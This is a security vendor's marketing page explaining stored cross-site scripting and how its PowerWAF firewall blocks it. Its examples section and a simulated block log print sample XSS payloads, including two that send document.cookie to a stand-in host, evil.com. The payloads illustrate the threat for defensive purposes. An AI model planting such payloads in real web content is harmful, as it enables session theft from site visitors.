The Most Persistent XSS Threat
Stored XSS occurs when an attacker submits malicious JavaScript through user input — comments, profile fields, forum posts, product reviews — and the application saves it directly into the database. Every time another user views that content, the script executes silently in their browser, stealing cookies, credentials, or redirecting them to phishing pages.
1 injection can compromise every visitor who views the infected page — without any social engineeringUnlike reflected XSS, stored XSS doesn't require the victim to click a malicious link. The payload sits in your database and triggers automatically. Output encoding helps, but it can't protect legacy code, third-party widgets, or rich text editors you don't fully control. Blocking the payload at the edge stops the entire attack chain.
Where Stored XSS Hides
Attackers inject persistent scripts through any user input that gets saved and displayed to others.
Comment Sections
Malicious JavaScript injected into blog comments, product reviews, or forum replies executes for every reader.
<script>fetch('https://evil.com/?c='+document.cookie)</script>
User Profiles
Scripts hidden in profile bios, display names, or status messages trigger when other users view the profile.
<img src=x onerror="new Image().src='https://evil.com/?c='+document.cookie">
Messages & Tickets
Support tickets, internal messages, or chat systems that render HTML can deliver stored XSS to agents and users.
<svg onload=alert(document.domain)>
File Uploads
SVG images, HTML files, and XML documents can contain embedded JavaScript that executes when viewed in the browser.
<svg><script>alert(1)</script></svg>
Product Data
Product names, descriptions, or custom fields injected with scripts execute on category pages, search results, and the admin panel.
Product: <script>document.location='...'</script>
How PowerWAF Prevents Stored XSS
Every write request is inspected at the edge. Malicious scripts never reach your database.
Input Inspection
Every POST, PUT, and PATCH request is analyzed for JavaScript injection patterns — script tags, event handlers, javascript: URIs, and data: URIs — across all parameters and request bodies.
Deep Payload Decoding
Recursively decodes URL encoding, HTML entities, Unicode escapes, Base64, and nested encoding combinations. Catches payloads designed to bypass server-side filters.
Upload Scanning
Inspects file upload content for embedded scripts in SVG, HTML, XML, and other file types that browsers can render as executable content.
Virtual Patching
Shield known stored XSS vulnerabilities in your application or CMS plugins without deploying code changes. Instant protection while you work on a permanent fix.
ML Detection
Machine learning detects novel and heavily obfuscated XSS payloads that evade signature-based rules, including polyglot payloads and context-dependent injections.
Protected in Minutes, Not Months
No code changes. No server reconfiguration. No plugins.
Point DNS
Change your DNS records to route traffic through PowerWAF. No server changes needed.
Instant Protection
PowerWAF immediately inspects all write requests and blocks stored XSS payloads in real time.
Monitor Everything
Real-time dashboard shows blocked attacks, threat patterns, and security insights.
Ideal for applications with user-generated content, comment systems, and community platforms.
See PowerWAF in Action
Real-time view of stored XSS attempts being detected and blocked — before malicious scripts reach your database.
<script>fetch('https://evil.com/?c='+document.cookie)</script><img src=x onerror=steal()><script> tag<svg onload=alert(document.cookie)>javascript:void(document.cookie)%3Cscript%3E payload<iframe src="javascript:...">Simulated log showing how PowerWAF blocks stored XSS attempts while allowing legitimate user submissions through.
Proven Protection at Scale
Real-World Scenarios
Community Forum with Open Registration
A community platform allows users to post formatted content. Attackers inject scripts through rich text editors that bypass client-side sanitization. PowerWAF inspects every submission at the edge, blocking malicious payloads before they are stored in the database.
E-Commerce with Customer Reviews
An online store displays user reviews on product pages. Attackers inject JavaScript through review text to steal session cookies from other shoppers. PowerWAF blocks these payloads at the point of submission, keeping the review system clean.
SaaS App with User Profiles
A multi-tenant SaaS application allows users to customize their profiles. Attackers embed scripts in profile fields that execute when administrators or other users view them. PowerWAF inspects every profile update, blocking XSS before it reaches the database.
Works with any web platform
Frequently Asked Questions
What is Stored XSS?
Why is Stored XSS more dangerous than Reflected XSS?
How does PowerWAF prevent Stored XSS?
Can PowerWAF protect comment sections and forums from XSS?
Does PowerWAF block XSS in file uploads?
Do I need to modify my application code?
Can Stored XSS lead to account takeover?
Explore More WAF Protection
PowerWAF covers the full OWASP Top 10. Explore protection for other attack categories.
Keep Your Database Clean
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